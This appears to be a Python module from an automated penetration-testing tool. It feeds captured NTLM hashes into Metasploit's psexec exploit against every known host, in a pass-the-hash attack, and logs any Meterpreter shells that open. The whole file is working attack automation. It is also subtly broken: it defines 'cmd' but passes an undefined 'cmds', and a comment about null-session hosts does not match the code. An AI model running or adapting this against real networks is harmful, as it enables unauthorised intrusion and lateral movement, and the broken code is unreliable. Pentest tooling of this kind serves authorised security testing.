import re

from core.msfActionModule import msfActionModule
from core.keystore import KeyStore as kb
from core.utils import Utils


class exploit_msf_psexec_pth(msfActionModule):
    def __init__(self, config, display, lock):
        super(exploit_msf_psexec_pth, self).__init__(config, display, lock)
        self.title = "Attempt to authenticate via PSEXEC PTH"
        self.shortName = "MSFpsexec"
        self.description = "execute [use exploit/windows/smb/psexec] on each target"

        self.requirements = ["msfconsole"]
        self.triggers = ["newNTLMHash"]
        self.types = ["passwords"]

        self.safeLevel = 4

    def getTargets(self):
        # we are interested only in the hosts that had nullsessions
        self.targets = kb.get('host')

    def process(self):
        # load any targets we are interested in
        self.getTargets()

        if len(self.targets) > 0:
            # loop over each target
            for t in self.targets:
                users = self.getUsers(t)
                for user in users:
                    hashes = kb.get ("creds/host/" + t + "/username/" + user + "/fullhash")
                    for passhash in hashes:
                        # verify we have not tested this host before
                        if not self.seentarget(t+user+passhash):
                            # add the new IP to the already seen list
                            self.addseentarget(t+user+passhash)
                           
                            cmd = {
                                    'config':[
                                            "use exploit/windows/smb/psexec",
                                            "set RPORT 445",
                                            "set RHOST %s" % t,
                                            "set SMBUser %s" % user,
                                            "set SMBPass %s" % passhash
                                        ],
                                    'payload':'win'}
                            result, outfile = self.msfExec(t, cmds)
 
                            parts = re.findall(".*Meterpreter session (\d+) opened.*", result)
                            for part in parts:
                                self.fire("msfSession")
                                self.display.verbose("NEW session on : " + t)
                                kb.add("shell/" + t + "/msf/" + str(part))
        
        return
